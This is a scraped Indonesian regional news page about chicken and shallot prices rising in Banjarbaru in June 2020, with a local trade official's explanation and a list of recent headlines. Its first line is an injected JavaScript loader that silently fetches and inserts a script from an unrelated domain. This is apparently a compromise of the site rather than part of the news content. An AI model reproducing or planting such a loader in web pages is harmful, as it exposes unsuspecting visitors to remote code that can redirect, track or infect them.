(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Harga Ayam dan Bawang Merah Tak Normal, Disperindag Banjarbaru Sebut Pasokan Kurang


KANALKALIMANTAN.COM, BANJARBARU – Di tengah pandemi Covid-19, kenaikan harga kebutuhan pokok tidak terelakan. Khusus di kota Banjarbaru, paling disoroti ialah kenaikan harga ayam ras dan bawang merah.

Kondisi ini ditemukan di sejumlah pasar yang ada di Banjarbaru. Seperti halnya, di Pasar Bauntung, dimana harga ayam ras telah mencapai kisaran Rp 27 ribu-Rp 28 ribu per kg. Sedangkan, untuk satu ekor ayam yang beratnya mencapai 2 kg, dijual dengan harga mencapai Rp 50 ribu lebih.

“Harga ayam per kilogram biasanya Rp 17 ribu hingga Rp 22 ribu. Memang harganya naik mas,” kata Wati, salah seorang pedagang.

Lebih parah lagi, untuk harga bawang merah di kota Banjarbaru saat ini telah mencapai angka Rp 60 ribu hingga Rp 65 ribu. Sedangkan pada kondisi normal, harga bawang merah berada pada harga Rp 20 ribu – Rp 25 ribu per kg.

Ihwal kenaikan harga dari kedua komuditas itu, Dinas Perdagangan (Dipserindag) Kota Banjarbaru angkat bicara. Kepala Bidang Perdagangan, Asyori menyebut ada beberapa faktor penyebab kenaikan harga.

Asyori menjelaskan terkait kenaikan harga bawang merah di Banjarbaru karena faktor ketergantungan pasokan impor. Pasalnya, selama ini bawang merah dipasok dari Provinsi Nusa Tengga Barat (NTB).

“Saat ini mereka belum panen. Sebenarnya, untuk saat ini ketersediaan bawang merah kita ada, tapi ya harganya tinggi. Mungkin 1 atau 2 bulan lagi mereka panen dan saat itu juga harga mulai stabil,” katanya, kepada Kanalkalimantan.com, Rabu (10/6/2020).

Untuk kenaikan harga ayam ras, lanjut Asyori, karena terbatasnya pasokan ayam. Dalam hal ini dirinya mengungkapkan ada empat peternask besar ayam ras di Kalimanatan Selatan yang telah gulung tikar. Kondisi inilah yang menyebabkan suplai ayam di Banjarbaru turut berkurang.

“Dari 32 perusahaan ayam, empat diantaranya gulung tikar. Hanya 5-6 perusahan saja yang bertahan. Ini yang membuat harga ayam naik,” katanya.

Kendati suplai ayam berkurang, Asyori berharap kepada perusahaan yang masih bertahan untuk sementara tidak ekspor ayam ke luar daerah. “Saya sarankan, jangan ekspor ayam ke Kalteng dulu. Prioritaskan Kalsel dulu. Ini solusi untuk menstabilkan harga ayam di Banjarbaru,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

3 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

4 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

4 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

5 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

7 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

8 jam ago

This website uses cookies.